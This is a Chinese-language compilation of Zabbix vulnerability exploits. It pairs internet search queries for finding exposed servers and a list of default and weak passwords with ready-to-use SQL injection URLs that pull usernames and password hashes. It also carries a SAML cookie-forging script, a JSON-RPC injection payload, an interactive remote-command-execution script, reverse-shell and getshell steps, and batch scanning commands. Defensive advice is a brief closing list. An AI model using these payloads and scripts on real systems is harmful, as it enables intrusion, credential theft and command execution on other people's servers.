Zabbix漏洞复现汇总
字数 2229 2025-09-23 19:27:46
Zabbix漏洞复现与防御指南
1. Zabbix简介
Zabbix是一款由Alexei Vladishev开发的网络监视、管理系统,基于Server-Client架构。它可用于监视各种网络服务、服务器和网络机器等状态,具有开源、安装简单等特点,被广泛使用。
主要组件
- Zabbix Server:核心组件,负责接收监控数据、处理、存储和触发告警
- Zabbix Agent:可选组件,部署在被监控主机上收集数据
- Zabbix Web:基于PHP的Web界面,用于展示监控数据和配置
官网地址:https://www.zabbix.com/cn
2. Zabbix资产识别
FOFA搜索语法
icon_hash="1045955894"
app="ZABBIX-监控系统"
title="appliance: Zabbix"
title="Zabbix"
|| icon_hash="1045955894"
|| app="ZABBIX-监控系统"
|| title="Zabbix"
Hunter搜索语法
app.name="Zabbix"
web.icon=="0fbe700fd7d07ec8d30ef8b3ac261484"
web.title="appliance: Zabbix"
app.name="Zabbix"
|| web.icon=="0fbe700fd7d07ec8d30ef8b3ac261484"
|| web.title="appliance: Zabbix"
3. 常见弱口令
Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本),常见弱口令组合:
admin/zabbix
Admin/zabbix
Guest/空密码
guest/空密码
admin/123456
zabbix/zabbix
zabbix/123456
root/zabbix
root/zabbix123
root/zabbix1234
root/zabbix12345
root/zabbix123456
zabbix/zabbix123
zabbix/zabbix1234
zabbix/zabbix12345
zabbix/zabbix123456
4. Zabbix SQL注入漏洞(CVE-2016-10134)
漏洞描述
Zabbix的web模块由PHP编写,存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库信息。
影响版本
- Zabbix 2.2.x系列:所有低于2.2.15的版本
- Zabbix 3.0.x系列:所有低于3.0.3的版本
环境搭建
使用vulhub环境:
docker-compose up -d
漏洞复现步骤
- 访问
http://your-ip:8080/index.php,使用guest账户(密码为空)登录 - 查看Cookie中的
zbx_sessionid,复制后16位字符 - 构造payload:
http://target:port/latest.php?output=ajax&sid=[复制的16位字符]&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
- 也可以通过
jsrpc.php触发,无需登录:
http://target:port/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
- 获取用户名和密码hash:
获取用户名:
http://target:port/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
获取密码hash:
http://target:port/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
5. Zabbix命令注入(CVE-2017-2824)/代码执行(CVE-2020-11800)
漏洞描述
Zabbix Server 2.4.X的陷阱命令功能中存在可利用的代码执行漏洞,攻击者可以从活动的Zabbix代理发出请求来触发此漏洞。
漏洞复现步骤
- 使用弱口令Admin/zabbix登录后台
- 进入Configuration->Actions,将Event source调整为Auto registration
- 点击Create action创建一个Action
- 在Operation标签页,创建一个type为"Add Host"的Operation
- 下载利用脚本:
git clone https://github.com/listenquiet/cve-2017-2824-reverse-shell
- 修改exp.py中的目标IP和端口
- 在服务器上开启监听
- 执行脚本:
python exp.py target_ip
6. Zabbix SAML身份绕过漏洞(CVE-2022-23131)
漏洞描述
在启用SAML SSO身份验证(非默认)的情况下,未经身份验证的攻击者可以通过修改Cookie数据,绕过身份认证获得对Zabbix前端的管理员访问权限。
影响版本
- Zabbix 4.0.36
- Zabbix 5.4.0
- Zabbix 5.4.8
- Zabbix 6.0.0alpha1
漏洞复现步骤
- 访问目标Zabbix地址
- 点击"Sign in with Single Sign-On (SAML)"
- 获取Set-Cookie中的zbx_session值
- 对zbx_session值进行URL解码和Base64解码
- 在解码后的JSON中添加:
"saml_data":{"username_attribute":"Admin",
- 重新Base64编码和URL编码构造Payload
- 在HTTP请求头中添加构造的Payload,请求index_sso.php
Python检测脚本
import requests
import re,base64,urllib.parse,json
def runPoc(url):
response = requests.get(url,verify=False)
cookie = response.headers.get("Set-Cookie")
sessionReg = re.compile("zbx_session=(.*?);")
try:
session = re.findall(sessionReg,cookie)[0]
base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
session_json = json.loads(base64_decode)
payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])
payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
print("加密后Payload:" + payload_encode)
except IndexError:
print("[-] 不存在漏洞")
url = "http://target:port/"
runPoc(url)
7. Zabbix SQL注入漏洞(CVE-2024-42327)
漏洞描述
Zabbix的addRelatedObjects函数中的CUser类中存在SQL注入,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句。
影响版本
- 6.0.0 <= Zabbix <= 6.0.31
- 6.4.0 <= Zabbix <= 6.4.16
- Zabbix 7.0.0
漏洞利用Payload
POST /api_jsonrpc.php HTTP/1.1
Host: target
Content-Type: application/json-rpc
Cookie: zbx_session=eyJzZXNzaW9uaWQ...
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"a from (select 1 as userid) as u join (select (select user()) as a) as r #"
]
},
"id": 2
}
8. Zabbix-Server SQL注入漏洞(CVE-2024-22120)
漏洞描述
攻击者在登陆后可构造恶意请求利用clientip参数造成SQL注入。需要低权限用户具有"Detect operating system"权限(默认管理员用户组才有)。
漏洞利用步骤
- 使用脚本提取管理员session_id和session_key
- 利用获取到的session_id构造zbx_session登录管理界面
- 使用RCE脚本执行命令
RCE脚本示例
import requests
import json
ZABIX_ROOT = "http://target"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "获取到的session_id"
headers = {
"content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')
while True:
cmd = input('>>: ')
if cmd == "quit":
break
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": "" + cmd + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": "" + host_id + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if "error" not in cmd_exe.text:
print(cmd_exe_json["result"]["value"])
else:
print(cmd_exe_json["error"]["data"])
9. Zabbix后台Get Shell方法
老版本方法
- 使用默认用户名密码Admin/zabbix登录
- 进入管理-脚本
- 创建或修改脚本,写入反弹shell命令
- 点击检测中-最新数据触发执行
新版本方法
- 弱口令进入后台
- 来到管理的脚本处(可能在alert的脚本处)
- 直接写入反弹shell命令执行
10. Zabbix(<=4.4)认证绕过
使用Python脚本检测:
python3 zabbix_auth_bypass.py https://target:port/
脚本会自动检测漏洞并生成可利用的链接。
11. 漏洞检测工具
使用afrog工具检测Zabbix漏洞:
afrog.exe -s zabbix -pl # 列出zabbix漏洞列表
afrog.exe -s zabbix -t http://xxxxxxx -o xxxx.html # 单目标检测
afrog.exe -s zabbix -T xxxx.txt -o xxx.html # 批量检测
12. 防御建议
- 及时更新Zabbix到最新版本
- 修改默认密码,使用强密码策略
- 限制Zabbix Web界面的访问IP
- 禁用不必要的功能(如自动注册)
- 定期审计Zabbix服务器日志
- 对Zabbix服务器进行网络隔离,限制出站连接
- 实施最小权限原则,限制用户权限
通过以上措施,可以有效降低Zabbix系统被攻击的风险。